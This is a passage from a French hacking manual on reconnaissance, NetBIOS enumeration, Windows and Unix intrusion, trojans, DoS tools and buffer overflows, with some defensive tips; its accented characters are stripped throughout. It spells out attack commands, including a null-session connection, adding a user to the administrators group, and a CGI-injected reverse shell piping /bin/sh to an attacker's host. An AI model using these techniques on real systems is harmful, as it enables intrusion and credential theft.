Et bien ces genres de messages peuvent tre utiles aux pirates, car cela peut leur permettre de dterminer le type et la version du serveur cible. Pour obtenir ces informations, vous pouvez amener le serveur produire une erreur en mettant par exemple une adresse pointant vers un fichier n' existant pas. Fates marcher vtre imagination et vous verrez que vous aurez des informations plus prcises sur le serveur comme le chemin d' accs au rpertoire /cgi-bin/ , le chemin d' accs au rpertoire web.

bannires :
Une bannire est un bloc de texte que l' obtient lorsque l' se connecte au port on on d' systme. Une bannire donne gnralement le systme d' un exploitation, la version et le nom du serveur (si l' se connecte sur un serveur situ sur la cible, comme un on serveur FTP) . La meilleure parade serait de modifier la bannire, le port par dfaut du service ou modifier limplmentation de TCP/IP du systme d' exploitation ou en muler un autre la place car c' cette implmentation qui est responsable de la dtermination du est systme dexploitation. Pourquoi ? Parce que les systmes sont programms par des personnes diffrentes qui n' pas la ont mme manire de programmer.

36

transfert de zones :
D' abord revoyons quelques notions de rseau, surtout celles qui concernent les serveurs DNS ( Domaine Name Server) . Un serveur DNS est un composant rseau qui est principalement charg de faire certaines rsolutions pour faciliter la vie des hommes et des systmes. Gnralement, les grosses entreprises possdent un serveur DNS voir plusieurs, chargs de rsolutions internes. Passons un exemple pour mieux comprendre le travail des serveurs DNS. En premier, rappelez-vous que les noms dhtes et les adresse IP sont unique au monde. Lorsque vous saisissez l' adresse d' site web dans votre navigateur, votre requte est un passe par un systme de rsolution de nom de domaine, qui la prise comme une requte de type A (qui consiste rsoudre un nom dhte en adresse IP, car les ordinateurs ne comprennent que les chiffres) et vous renvoie la rponse quil a normalement reu des systmes DNS, ayant autorit sur le domaine recherch. Bon cela ne se passe peut-tre pas forcment ainsi, cela dpend de plusieurs points comme votre configuration rseau Avant de passer la manire dont les pirates exploitent les informations que traitent les DNS, nous allons tudier ensemble les diffrentes types de requtes que peuvent traiter les DNS, cette partie est trs importante car d' abord vous allez apprendre comment fonctionnent rellement les DNS et savoir sur quoi se base les pirates exploitant les mauvaises configurations de ces DNS.

Les requtes
Les requtes A Buts Permet de rsoudre un nom dhte en adresse IP. Pour cela, il vous faut le nom dhte de la machine rsoudre et ladresse du DNS ayant autorit sur la machine. Permet davoir tous les enregistrements quun serveur DNS dans son cache propos dune machine particulire. Pour cela, il vous faut le nom dhte ou ladresse IP de la machine cible et ladresse du DNS ayant autorit sur la machine. Permet de faire un transfert de zone sur un DNS. Il vous faut ladresse du DNS autoritaire et le nom de domaine de la cible (ex : free.fr, sans le www.)

ANY

AXFR

37

CNAME (Cannonical Name) HINFO (Host Info) MX (Mail exchange)

NS (Name Server)

PTR (Pointer) SOA (Start Of Autority)

Permet de rsoudre le nom dhte dun systme partir dun de ses alias. Pour cela, il vous faut ladresse du DNS autoritaire et dun des alias du systme de la cible. Permet davoir la configuration (matrielle et logiciel) du systme cible. Pour cela, il vous faut ladresse du DNS autoritaire et du systme de la cible. Permet davoir ladresse IP et le nom dhte des machines utilises pour lacheminement du mail sur le nom de domaine de la cible. Pour cela, il vous faut ladresse du DNS autoritaire et le nom de domaine de la cible. Permet davoir les adresses des machines (serveurs DNS) rsolvant les noms dhtes dun domaine. Pour cela, il vous faut ladresse du DNS autoritaire et le nom de domaine de la cible. Permet de rsoudre une adresse IP en nom dhte. Pour cela , il vous faut ladresse IP de la machine rsoudre et ladresse du DNS autoritaire. Permet de savoir ladresse du DNS principal (gnralement, cest le premier serveur DNS du rseau). Pour cela, il vous faut ladresse dun des serveurs DNS du rseau.

Un transfert de zones
Lorsque un serveur DNS secondaire a besoin de mettre jour ses enregistrements (ce sont les informations quun serveur DNS a dans son cache concernant les systmes sur lesquels il a autorit), il fait ce que lon appelle un transfert de zone partir du serveur DNS principal (qui a gnralement autorit sur toutes les machines du rseau). Maintenant si un pirate faisait un transfert de zone la place dun serveur secondaire, il aurait sur son cran toutes les informations concernant le rseau de sa cible sans scanner les machines du rseau et sans faire de recherches. Certains programmes qui permettent d' interroger un DNS vont demander de fournir des donnes comme le nom de domaine cible et le nom du DNS autoritaire du domaine (gnralement le premier DNS du rseau cible) . Pour trouver ces informations, consulter une base donnes whois au sujet du domaine cible. Voici des logiciels permettant dinterroger les DNS :

38

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

DNS Expert NT/95/98/2000 demo Men&Mice Permet de faire des requtes DNS

Nom du logiciel : OS viss :

rPing Tous les windows

39

Licence : Editeur ou Auteur : Le but du logiciel :

shareware Fournir tous les utilitaires utiles pour un rseau : ping, traceroute, lookup

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

IPCHECK

Il fournit aussi les utilitaires comme lookup, ping, scanner de ports Tous les utilitaire donnant la possibilit de chercher avec lookup ou des utilitaires comme axfr, dig

Nom du logiciel :

cartographie :
Cartographier un rseau va nous permettre d' obtenir la topologie du rseau et la localisation des lments du rseau. Les logiciels permettant de cartographier un rseau font partie des couteaux suisses de la bote outils des administrateurs mais aussi des pirates car cela va leur permettre d' analyser et de surveiller les systmes du rseau.

40

Ces logiciels s' appellent gnralement des Networks Mapper.

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

CHEOPS Open Source Mark Spencer Cartographier un rseau et donner sous forme graphique les systmes du rseau. Fournit aussi un ping, tracert

les messages lectroniques :


Pour obtenir des informations comme l' adresse IP et les logiciels de messagerie de la cible, vous pouvez si vous connaissez son adresse de messagerie, lui envoyer un message lectronique et lui demander de vous rpondre (mme pour vous dire qu' a il bien reu votre message) . Car cest le message quil vous a renvoy qui va vous permettre de dterminer des informations recherches (remonter de quelques lignes pour en reprendre connaissance) .

41

Les informations voulues sont situs dans les en-tte du message quil vous a renvoy, pour ne pas surcharger le livre je nai pas dtailler ici la mthode car elle est dcrite dans le chapitre consacr aux messageries et aux cookies.

recensement des systmes et des ressources partages :


Le recensement est une tape importante dans la recherche car c' ce moment que est vous allez commencer cibler vos attaques sur les points faibles du systme. Nous allons voir dans cette partie les diffrentes techniques de recensement pour chaque systme d' exploitation (Windows, Linux/Unix) . Windows NT : l' des commandes Dos net view et net use , vous pouvez, respectivement, aide voir et accder aux ressources partages d' systme. un Syntaxes : C:\>net view /domain [:nom_de_domaine] : permet de recenser les systmes du domaine. C:\>net view \\nom_hte : permet de voir les ressources partages dun systme. C:\>net use \\IP_cible(ou nom dhte)\IPC$ "" /user:"" : permet de se connecter aux ressources partages avec une connexion nulle. C:\>net use \\nom_hte\lettre_ressource : permet de se connecter la ressource partage non protge du systme.

Vous pouvez aussi recenser les utilisateurs et les comptes sous Windows NT l' aide de la commande nbtstat. Sous DOS il faut taper :
c:WINDOWS nbtstat -A IP_de_la_victime

Normalement vous aurez un truc pareil ce qui suit si votre victime est en rseau:
NetBIOS Remote Machine Name Table Name Type Status -------------------------------------------------------KHAALEL<00> UNIQUE Registered WORKGROUP <00> GROUPE Registered KHAALEL <03> UNIQUE Registered KHAALEL <20> UNIQUE Registered WORKGROUP <1E> GROUPE Registered MAC Address = 00-00-00-00-00-00

Ici c' la ligne avec le numro <20> qui nous intresse car la plupart du temps c' est est

42

sur cette ligne que figure le nom de l' (ici KHAALEL). Maintenant il faut diter ordi un fichier lmhost avec:
c:WINDOWS edit lmhosts

Puis taper:
IP_de_la_victime KHAALEL(le nom se trouvant la place) #PRE

Ensuite tapez
c:WINDOWS nbtstat R

Ensuite allez sous dmarrer > rechercher > ordinateur inscrivez dans la case le nom de l' ordinateur cible. Cliquez sur le nom avec un click droit puis slectionnez ouvrir ou explorer. Vous pouvez faire un recensement des bannires l' de Telnet pour connatre les aide services qui tournent sur le systme cible. Voici une liste de programmes qui permettent de recenser des informations sur un systme. Utilitaires Nbtscan DumpACL getmac netviewx nltest net view NetBios Auditing Tool ( NAT) netstat nbtstat NTRK Fonctions Permet de faire la commande nbtstat sur plusieurs IP et sans avoir les retaper chaque test. Recense les ressources partages sur le systme cible . (www.somarsoft.com) Permet dobtenir ladresse MAC de la cible. Permet dobtenir les services et les systmes dun domaine. ( voir plus haut pour plus dinformations ) Scanner et balayeur NetBIOS ( voir plus haut pour plus dinformations ) ( voir plus haut pour plus dinformations ) NT Ressource Kit. Cest un ensemble de petits utilitaires fournis par Microsoft et qui permettent ds fois dadministrer un systme distance. Les pirates peuvent donc lutiliser pour obtenir certaines informations. ( ftp://ftp.microsoft.com/bussys/winnt/winntpublic/reskit/ ) Scanner de systmes la recherche de services. Il permet aussi dobtenir des

NTInfoScan

43

enum netcat

informations sur les utilisateurs dun systme et sur NetBIOS. ( http://www.cerberusinfosec.co.uk/ntinfoscan.shtml ) Permet de recenser des systmes par NetBIOS Le clbre interprteur de commandes dont on fera peut-tre la connaissance plus tard

Unix : Comme sous Windows, on peut recenser les ressources partages et recenser les utilisateurs mais les commandes sont bien sr diffrentes. Pour recenser les ressources partages, on peut utiliser la commande showmount, et pour recenser les utilisateurs il faut utiliser la commande finger. On peut aussi recenser les bannire grce netcat.

les divers scanners :


Voici certains protocoles permettant de conventionner les techniques utilises par les scanners de vulnrabilits. Il y a CVE ( Common Vulnerabilities and Exposures ), CIDF ( Common Intrusion Detect Framework ), IETF/IDEF ( Intrusion Detection Exchange Format ) , IETF/IDWG ( Intrusion Detection Working Group ), IETF/Syslog ( Security Issues in Network Event Logging ), ICAT Metabase. Scanners payants
Internet Scanner Database Scanner System Scanner Wireless Scanner Retina Network Security Scanner www.eeye.com ) de ISS (www.iss.net)

de

eeye

Scanners gratuits
Nessus Nmap de www.nessus.org de www.insecure.org

44

45

Infiltration, piratage et scurisation des systmes dexploitation

46

Windows
Nous allons ensemble tudier les techniques de base de piratage de windows. Surtout les techniques que l' peut faire distance car c' le principal accs qu' pirate on est un peut avoir sur un systme windows. Pour savoir le systme tournant sur un ordinateur, on peut utiliser nmap ou hping qui permettent de dterminer le systme dexploitation et sa version. Pour pouvoir raliser cette identification les logiciels vont analyser l' implmentation de TCP/ IP de la machine en scannant ses ports. Pourquoi ? Car chaque personne sa manire de programmer donc a aussi sa manire d' implmenter la pile de protocole TCP/ IP sur un systme d' exploitation. Pour que nmap et ses compres ne puissent dterminer avec certitude le systme d' exploitation tournant sur votre ordinateur, il n' a pas plusieurs solutions. La y meilleure serait des changer les informations que les champs des paquets contiennent par le contenu des mmes champs d' paquet mis par un autre systme. Les champs un qu' faut changer sont gnralement : il - le champs TTL - le champs TOS (Type Of Service) - le champs dfinissant la taille de le fentre - DF et ACK Bien sr, seuls les systmes en Open Source peuvent nous permettre de changer cela, moins que lon sache patcher NT. Il y a aussi une deuxime mthode qui consiste modifier l' implmentation de TCP/IP de votre systme (en Open Source) par un autre que vous aurez crer ou en mulant celui d' autre systme. un Cette petite explication du fingerprinting (prise d' empreintes du systme d' exploitation distance) n' pas eu pour but de vous obliger passer sous Linux. a Mais analysez bien ce que l' open Source peut permettre de faire en connaissant le langage C. On pourrait avoir une meilleure scurit et moins de problmes, et cela parce que l' aurait facilement accs au code source du noyau. on Maintenant passons au piratage et la scurisation du systme d' exploitation de Microsoft. Pour recenser les services et les ressources partages tant sous Windows, reportezvous au chapitre sur les utilitaires et outils automatiss. Ce chapitre va se diviser en quatres parties : - attaque commune tous les Windows - infiltration et piratage de Windows 9x

47

infiltration et piratage de Windows NT autres ressources

attaques communes tous les Windows :


chevaux de troie et autres :
Les chevaux de troie sont des programmes infectant qui ont pour but de donner, la personne qui vous la installe, le pouvoir de prendre le contrle de votre systme. Les chevaux de troie sont gnralement constitus de deux parties : le client et le serveur. Le client va se connecter au serveur et ce dernier va effectuer ce que demande le client (cela dpend des fonctions que propose le client) . Le serveur est install sur le systme cible, le client sur le systme du pirate. Comme cheval de troie, il existe NetBus, SubSeven, Back Orifice

48

Certains, doivent se poser une question du genre : les logiciels d' administration distance sont alors de chevaux de troie ?

49

Oui, les logiciels d' administration des PC distance peuvent aussi tre des chevaux de troie, cela dpend de la manire dont ils sont utiliss. Passons maintenant une autre forme de logiciels : les keyloggers. Ce sont des logiciels qui vont nous permettre de savoir tous les caractres tapez sur le clavier de l' ordinateur cible mais aussi ce qu' fait la cible depuis l' a activation du programme.

les attaques Dos et DDoS :


Des attaques de type refus de services ou encore les attaques de type buffer overflow distance peuvent tre utilises pour faire planter un systme quip de Windows. Pour plus informations sur les attaques Dos et DDoS, allez au chapitre consacr ce sujet.

Autres :
On peut aussi utiliser les techniques de cracking de mot de passe dcrites au chapitre traitant du sujet.

infiltration et piratage de Windows 9x :


Dans la premire partie de ce chapitre, nous avons pratiquement fait le tour les techniques de base de piratage de Windows 9x. Nous allons quand mme voir une technique trs utilise par les virus et les chevaux de troie : l' installation dans des rpertoires spcifiques pour tre lanc au dmarrage suivant. Pour faire cela, les crateurs de virus ou propagateurs installent leur virus dans le rpertoire :
C:\Repertoire_windows\Start Menu\Programs\Start

ou dans les cls de la base de registre. On peut aussi inspecter les diffrents rpertoires systmes de la cible pour y rcolter des informations. Pour finir, il y a aussi lexploit NetBIOS.

infiltration et piratage de Windows NT :

50

lophtcrak :
Ce programme permet de craquer les mots de passe du systme (de fichiers Sam) . Pour cela, rfrez-vous au chapitre sur le piratage de mots de passe. Lophtcrack a aussi des fonctions de capture de mots de passe (du sniffing en faite) dans des rseaux de systmes sous Windows. Cette option s' appelle SMB Relay . Il y a sur Internet plein de tutoriaux sur l' utilisation de lophtcrack.

une petite recherche :


Pour obtenir des informations sensibles sur le systme, on va devoir parcourir les rpertoires systmes et les cls de la base de registre. Exemple : les cls HLM\SECURITY\Policy\Secrets contiennent des informations sensibles comme des mots de passe hachs

les comptes par dfaut :


Les systmes bass sur un noyau NT ont tous des comptes par dfaut qui sont gnralement utiliss par les services de maintenance, et pour plein d' autres activits. Pour savoir quels sont les noms de ses comptes, vous pouvez installer Windows NT ou XP et : - soit voir les comptes du systme dans les cls de la base de registre - soit faire un clic droit sur licne du poste travail puis cliquez sur proprits puis chercher parmi les onglet des informations sur les utilisateurs du systme. On peut aussi faire un tour sur le site de Microsoft. Aprs avoir rcupr les logins et les ventuelles mot de passe de ses comptes, nous allons pouvoir nous connecter au systme avec des pouvoirs pratiquement gaux ceux de l' administrateur.

appartenir un bon groupe :


Le rve tout pirate, appartenir au groupe des administrateurs ou d' autres groupes ayant des droits plutt levs. Et bien cela est possible grce des commandes DOS mais aussi certains logiciels : - net localgroup administrator <user> /add : permet d' ajouter un utilisateur au groupe des administrateurs. - le logiciel getadmin permet aussi d' ajouter un utilisateur au groupe des administrateurs.

51

il doit y avoir beaucoup d' exploits sur Internet qui permettent d' appartenir des groupes ayant des droits levs ou dexcuter des commandes avec des droits levs.

un interprteur de commande :
Comme pour linux, on peut obtenir un interprteur de commandes du systme Windows pour y excuter ce que l' veut. on Mais qu' est-ce qu' interprteur de commandes ? un Cest une interface logicielle en mode texte qui nous permet de prendre le contrle de notre systme : cela correspond en gros la invite de commandes DOS. Maintenant, voyons comment un pirate va pouvoir se procurer l' interprteur de commandes du systme. Pour notre exemple, on va s' intresser tout particulirement l' interprteur Remote Command Line (remote.exe) de NT. Sachez qu' y a aussi Remote Command il Service (rcmdsvc.exe) . Pour pouvoir raliser l' attaque du pirate NT, il va nous falloir netcat, on s' arrangera pour faire installer un espion netcat sur le systme de la cible.
Netcat est une application qui a de multiples fonctions intressantes est importantes,

c' un programme double tranchant car, il peut tre aussi bien utilis par un est administrateur rseau que par un pirate.

Pour connatre toutes les facettes de netcat, rfrez-vous son fichier d' aide. Pour cette attaque, on a seulement besoin de configurer un espion netcat pour qu' il coute un port du systme cible en attente d' connexion. une Nous allons aussi devoir configurer lespion pour qu' renvoie linterprteur de il commande (remote.exe) ds quil dtecte une connexion sur le port. On se connecte aux espions netcat l' de netcat. aide

exploits :
On peut trouver plusieurs exploits sur Internet qui vont nous permettre daccomplir des attaques sur le systme ou de contourner certaines protections de l' administrateur ou du noyau.

effacer ses traces :

52

Il y a plusieurs manires d' effacer ses traces sous NT aprs s' tre infiltrs : cela peut y aller de la suppression du contenu des fichiers logs manuellement ou l' de aide logiciels jusqu' la cration et l' installation de rootkits pour NT en passant par la modification des attributs des fichiers que l' aurait pu cacher et lajout on d' information et dutilitaires dans les fichiers. Cette dernire technique est ralisable en utilisant un flux de fichiers fournis par NTFS, pour plus informations sur cette technique, faites une recherche sur les failles du systme de fichiers NTFS et sur les utilitaires POSIX cp de Windows. Le must serait de lire un guide d' administration sous NT.

autres ressources
RUNDLL32.EXE
Microsoft a implment un utilitaire appel rundll32.exe qui permet dexcuter les fonctions dune dll sans avoir crer un programme complexe ou non. Le seul problme avec ce programme est quil nexcute pas les fonctions des APIs Win32. Voici la syntaxe de rundll32.exe :
rundll32.exe [nom_dll],[fonction] [options]

Les fichiers INF


Les fichiers INF sont des fichiers qui offrent la possibilit de faire diverses manipulations sur un systme quip de Windows. Cela va de linstallation dun programme (qui peut mme se faire sans laccord de lutilisateur) lajout de donnes (entres) dans la base de registre. Nous nallons pas voir comment crer les fichiers INF mais seulement leur constitution car cela dpasse le cadre de ce livre. Les fichiers INF sont des fichiers textes qui contiennent diverses sections. Chaque section une tche particulire. Pour information, il existe beaucoup de sections : un peu plus dun dizaine. Voici comment se compose une section : [nom_section] instructions_a_executer

53

En premier, on spcifie le nom de la section pour que le fichier sache comment traiter les instructions excuter. Exemple :
[DefaultInstall] CopyFiles = CopyFiles [CopyFiles] programme.exe

Cet extrait de fichier INF va installer (sil est excut) le programme programme.exe dans le rpertoire choisi prcdemment par le crateur du fichier. Conclusion : Nous venons de voir des fichiers qui sont souvent utiliss lors de ladministration de systmes ou pour dautres actions. Ils peuvent entre autre permettre un pirate dinstaller un virus ou des codes malfaisants sur votre systme sans votre accord (ce qui est possible en associant ces fichiers des failles web qui permettent dcrire des fichiers sur lordinateur de linternaute : cf les failles ActiveX). Pour plus dinformations sur les fichiers INF, certains sites web traitent de leur cration mais aussi des livres de programmation et dadministration sous Windows.

Les APIs Win32


Les APIs Win32 sont des fonctions permettant dinteragir aisment avec le systme dexploitation. Elles permettent de faire diverses actions. Elles sont dclares dans des DLL et sont donc utilisables par tous les languages de programmation fonctionnant sous Windows (Delphi, C++, Visual Basic). La connaissance de ces APIs est un gros plus pour les pirates de systmes Windows. Voici 3 de ces fonctions (choisies au hasard): Bibliothque : Son but : Syntaxe : Description : user32.dll permet de dconnecter lutilisateur courant aprs avoir mis fin aux applications que ce dernier aurait lanc.
BOOL ExitWindow(DWORD dwReserved, UINT uReserved)

Les 2 paramtres doivent tre mis 0. Si lexcution de la fonction sest droule avec succs, cette

54

dernire renvoie TRUE, dans le cas contraire FALSE. Bibliothque : Son but : Syntaxe : Description : kernel32.dll Permet dobtenir le nom de lordinateur.
LPTSTR GetComputerName(LPTSTR lpszName, LPDWORD lpdwcBuffer) - LPTSTR lpszName : est un pointeur vers lespace mmoire

(variable ou tableau de caractres) qui va contenir le nom fourni par la fonction. - LPDWORD lpdwcBuffer : taille de lespace mmoire.

Si lexcution de la fonction sest droule avec succs, cette dernire renvoie TRUE, dans le cas contraire FALSE. Bibliothque : Son but : Syntaxe : Description : kernel32.dll Permet dobtenir le nom du rpertoire courant.
DWORD GetCurrentDirectory(DWORD dwCurDir, LPTSTR lpszCurDir) - DWORD dwCurDir : taille de lespace mmoire qui va contenir

le nom du rpertoire courant.

- LPTSTR lpszCurDir : pointeur vers lespace mmoire qui va contenir le nom du rpertoire courant. Si lexcution de la fonction sest droule avec succs, cette dernire renvoie le nombre de caractres obtenus, dans le cas contraire la valeur 0.

Parades :
-

Installez un jeu le fichier log dans des rpertoires anodins pour que les pirates ne puissent les modifier tous. Installez tous les patchs de scurit pour NT Analysez chaque port de son systme quitte les dsactiver Vrifiez rgulirement chaque groupe Ne pas permettre au simple utilisateur d' installer des programmes Supprimez ou affectez un mot de passe aux comptes par dfaut Bloquez l' accs la base de registre aux utilisateurs devant avoir des pouvoirs limits Mettez un mot de passe aux ressources partages Partagez vos lecteurs et vos imprimantes que si vous en avez vraiment besoin car le partage est la base de la plupart des failles de Windows Installez des programmes anti-troyens comme Bouffe-troyen, The cleaner Scannez vos ports et analysez ce qui s' passent. y

55

56

Unix/Linux
techniques de piratage de base :
failles connues :
Pour pntrer un systme et avoir des droits levs sur ce dernier, les pirates utilisent gnralement des exploit (codes d' attaque rdigs par d' autre hackers) servant pirater une faille spcifique d' systme ou d' service. L' un un utilisation de ces exploits demande quand mme quelques connaissances sur le systme vis (services tournant en tche de fond) . Aprs avoir rcupr assez dinformations sur le systme cible, ils vont devoir faire des recherches sur Internet pour trouver le bon exploit. Pour informations, il existe certains sites ddis ces petits programmes.

le code source :
Une des grandes forces de Linux est la possibilit d' avoir accs son code source. Pourquoi ne pas en profiter pour y dcouvrir des failles ? Cela peut-tre un travail de longue haleine mais ncessite que trois lments : le code source, un scanner de failles parcourant les codes sources (cf le chapitre sur le piratage de logiciels) et vos connaissances.

les fichiers so et les autres bibliothques :


Les bibliothques sont des bouts de codes dfinissant les fonctions quutilisent certains programmes. Les bibliothques se doivent d' scurises, mais le sont-elles vraiment ? tre Nous allons sommairement voir comment sont cres les bibliothques. Les bibliothques dfinissent des fonctions qui seront utilises par les programmes. Il existe deux types de bibliothques : les bibliothques dynamiques et les bibliothques statiques. Nous allons seulement voir la cration des bibliothques ELF :

57

- les bibliothques statiques (qui sont intgres l' excutable lors de l' dition des liens) : Dj, il faut crire en langage C les fonctions de la bibliothque, renommer les fichiers sources en nom_choisi.c . Aprs cela, il faut en faire un fichier objet. Puis utiliser la commande ar avec ces options pour transformer le fichier objet en fichier bibliothque (ayant comme extension .a ) . Pour finir on peut utiliser la commande ranlib pour crer l' index de la nouvelle bibliothque. - les bibliothques dynamiques (qui sont charges en mmoire lors de leurs appels) : Comme pour les bibliothques statiques, il faut crer un fichier objet puis avec gcc, il va falloir crer la bibliothque (et en comme extension .so ) avec des options comme shared. Pour plus informations sur la cration des bibliothques statiques et dynamiques sous Linux, rfrez-vous au fichier d' des commandes spcifies mais aussi des livres aide traitant de la programmation sous Linux. Quelques fonctions servant charger des bibliothques : dlopen( ); permet de charger des bibliothques dynamique. dlsym( ); permet d' avoir l' adresse de dpart d' fonction. une dlclose( ); permet de dcharger des bibliothques dynamiques.

les modules chargeables :


Lexplication de la cration dun module sous linux dpasse un peu le cadre de ce livre bien que cela puisse tre une trs bonne protection et une trs bonne base dattaque. De plus seuls des bouquins traitant de la programmation sous linux peuvent expliquer de fond en comble la cration de modules kernel invisibles ou non.

attaque par lien symbolique :


Cette attaque peut permettre aux pirates d' accder des fichiers sensibles et d' effacer leurs contenus. Mais qu' est-ce qu' lien symbolique ? un Un lien symbolique est un simple fichier (sous Unix tout est fichier) qui crer un raccourci/lien vers un autre fichier. Lorsqu' programme ou un utilisateur cre un un lien ( l' de la commande ln s <fichier_precede_du_chemin> aide <nom_raccourci> ), ce dernier hrite des autorisations d' accs que l' utilisateur le droit d' affecter un fichier. Le problme ici, est que ce fichier pointe vers un autre fichier, donc lorsqu' lment (utilitaire, programme, utilisateur) modifiera de un

58

quelques manires que ce soient le lien, le fichier point hritera des autorisations du lien. C' pour cela, que cette attaque est trs utilise pour obtenir ou effacer le contenu est des fichiers sensibles (/etc/passwd, le fichier shadow, lilo.conf et autres fichiers de configurations). Les systmes sous Unix ont gnralement le rpertoire /temp qui n' rempli que de est fichiers temporaires quutilisent certains programmes. En dterminant l' avance le nom du fichier temporaire que crera un programme, en lui donnant la proprit de lien symbolique : ds que le programme sera excut, le fichier sensible appartiendra l' utilisateur ayant excuter le programme.

troyens, programme infectant et sniffers :


Comme pour les systmes sous Windows, Unix/Linux peut-tre infect par des programmes infectant (cf chapitre sur les virus) et des logiciels d' administration distance utiliss dans un but de malveillance ou comme backdoor. Un sniffer, comme nous le verrons au chapitre sur les sniffers, permet de capturer le trafic d' systme. Linux possde plusieurs sniffers: comme TCPdump. un

telnet invers :
Le telnet invers permet davoir linterprteur de commandes de sa cible avec une connexion initialise par elle-mme, en faite on va crer une connexion inverse (cest--dire que le serveur cible va se connecter ntre systme et nous laisser pouvoir excuter des commandes sur son shell). Pour cela, on va crer 2 canaux de communications laide des espions de netcat pour quils coutent deux ports de notre systme. Maintenant la cible va pouvoir se connecter aux espions. On peut maintenant crire des commandes sur lun des espions, le shell de la cible va linterprter et nous renvoyer le(s) rsultat(s) sur lautre canal de communication. Maintenant passons la configuration. Sur notre machine, on doit avoir deux fentres de netcat : - la premire, on a pass la commande : nc l v n p 714 - la deuxime, on a pass la commande : nc l v n p 417 La premire fentre va servir passer les commandes au shell de la cible, la deuxime recevoir les rsultats de la cible. Maintenant, vous allez taper la commande suivante dans votre navigateur prfr :

59

telnet ip_du_hacker 714 | /bin/sh | telnet ip_du_hacker 417

sous la forme unicode pour que votre navigateur lexcute :


http://www.site.com/cgibin/page.cgi ?var=/usr/bin/telnet%20ip_du_hacker%20714%20|%20/ bin/sh%20|%20/usr/bin/telnet%20ip_du_hacker%20417

La principale manire de faire du telnet invers serait de trouver un serveur excutant un cgi et acceptant que lon passe des arguments dans lurl.

obtenir les mots de passe du systme :


Pour cela, le pirate a besoin d' logiciel de crackage de mots de passe et des fichiers un o sont conservs les logins (/etc/passwd) et les mots de passe (/etc/shadow) . Pour plus informations, rfrez-vous au chapitre sur le cracking de mots de passe.

60

61

Dautres techniques de piratage

62

Attaques DoS et DdoS

Les attaques DoS et DDoS servent invalider un / des systmes distance ou localement. Les attaques DoS sont gnralement utilises lorsque l' ne peut pas pntrer un on systme et que l' prfre le faire couler ou linvalider. On peut aussi utiliser des on attaques DoS et DDoS lorsque l' ne veut pas qu' systme assure sa fonction. on un Il existe diffrentes techniques d' attaques Dos et DDoS que nous verrons plus tard. Voyons d' abord comment fonctionnent ces attaques pour arriver leur fin. Il existe deux types d' attaques Dos : - le DoS local - Le DoS rseau Le DoS local peut passer par : - une saturation disque - saturation de l' espace mmoire par la cration dun processus demandant normment de travail de la part du processeur et beaucoup de mmoire - un buffer overflow sur une fonction d' programme un - la saturation des partitions des fichiers logs pour ne pas permettre au systme d' enregistrer les activits du pirate. - une attaque du systme de fichiers ou du noyau Le DoS rseau peut passer par : - une saturation des services du systme - un buffer overflow distance - l' utilisation des technologies du Web comme le Javascript, Active X pour planter ou dgrader le systme - l' puisement de la bande passante d' rseau un - l' puisement des ressources systmes (par exemple en fragmentant IP plusieurs reprises et massivement) - et par plusieurs d' autres techniques (comme le smurf, le teardrop) Les codes pour faire des attaques de type refus de services peuvent tre crits dans diffrents languages : du C au PERL en passant par le python et le REBOL.

63

logiciels de DoS ou de simulation d' attaque :


Les logiciels permettant de faire du refus de service distribu ont gnralement le mme fonctionnement et la mme architecture : un client (gnralement la personne voulant faire lattaque), les serveurs (logiciels qui vont servir de relais entre le client et les agents) et les agents (ce sont ces bouts de codes qui vont faire planter les systmes distance). Comme logiciel de refus de service distribu, il y a : TRINOO TRIBAL FLOOD NETWORK TFN2K

Parades :
-

appliquer les patchs de scurit prvues cet effet

64

65

Dpassements de tampon
Analysons d' abord lhistoire des dpassements de tampons. Puis nous verrons les bases connatre pour mieux saisir la puissance de cette vulnrabilit. Nous verrons en dernier comment les pirates font pour mettre en place une attaque par dpassement de tampon.

mais qu' est-ce qu' dpassement de tampon ? un


Une attaque de type buffer overflow (dpassement de tampon) sert faire dborder la pile d' excution. Cela entrane le dplacement et la destruction dlments utiliss par un processus, donc lorsque des programmes viendront chercher des lments les concernant des espaces mmoire bien prcis, ils trouveront autre chose. Gnralement, lorsqu' y a dpassement de tampon, il y a exploitation des il fonctionnalits et des possibilits du systme cible. Il y a plusieurs applications qu' un pirate peut vouloir exploiter : le shell (ou interprteur de commandes) du systme, des logiciels spcifiques Bien sr, un buffer overflow peut seulement servir faire une attaque de type denial of service local. La possibilit de faire des buffer overflow est due deux problmes : - le manque de contrle des fonctions passes en mmoire - le manque de contrle des lments situs dans la pile Le premier problme est relativement facile viter si les programmeurs utilisaient quelques notions de programmation scurise. Le deuxime problme est un peu plus dur viter car pour scuriser cela, il faudrait, par exemple, crer un patch pour la pile ou encore verrouiller et dverrouiller dynamiquement les espaces mmoire du systme.

les notions de base :


Pour bien comprendre les attaques de type dpassement de tampon, il faut des connaissances en langage C et assembleur, surtout des connaissances sur les registres, les registres de segments, sur le comment de la cration des adresses mmoires, les types de donnes, les instructions CALL, IRET, RET, RETF, NOP mais aussi sur le fonctionnement d' empilement et d' dpilement, et le plus important savoir un un comment fonctionne la pile.

66

le language C
Nous allons seulement voir les trois principales fonctions qu' utilisent gnralement les pirates pour effectuer un dpassement de tampon . Il y a : les variantes de printf( ) qui permettent d' imprimer des caractres vers un tampon que le programme spcifie (cf sprintf( );) strcpy(dest, src); qui permet de copier src dans dest strcat(dest, src); qui permet de concatner des lments, lorsque les arguments passs la fonction correspondent des variables, ce sont leurs valeurs qui sont concatnes.

les registres du processeur :


Nom du registre pour les systmes 32 bits EAX EBX ECX EDX ESI EDI ESP EIP EBP Nom du registre pour les systmes 16 bits AX BX CX DX SI DI SP IP BP Nom des registres pour les systmes 8 bits : (bit de poids fort et bit de poids faible) AH et AL BH et BL CH et CL DH et DL Fonction

Registre accumulateur Registre de base Registre compteur Registre de donnes Index de sources Index de destination Pointeur de pile Pointeur dinstruction Pointeur de base

les registres de segment :


Nom du registre CS Signification Segment de Code Fonction Il a comme valeur ladresse du commencement des instructions dun programme Il a comme valeur ladresse du dbut des donnes quutilise le programme Il a comme adresse un segment de donnes libre Il a comme adresse celle de

DS ES SS

Segment de Donnes Extra-Segment Segment de Pile

67

FS et GS

la pile Il sont comme ES

la cration des adresses mmoire :


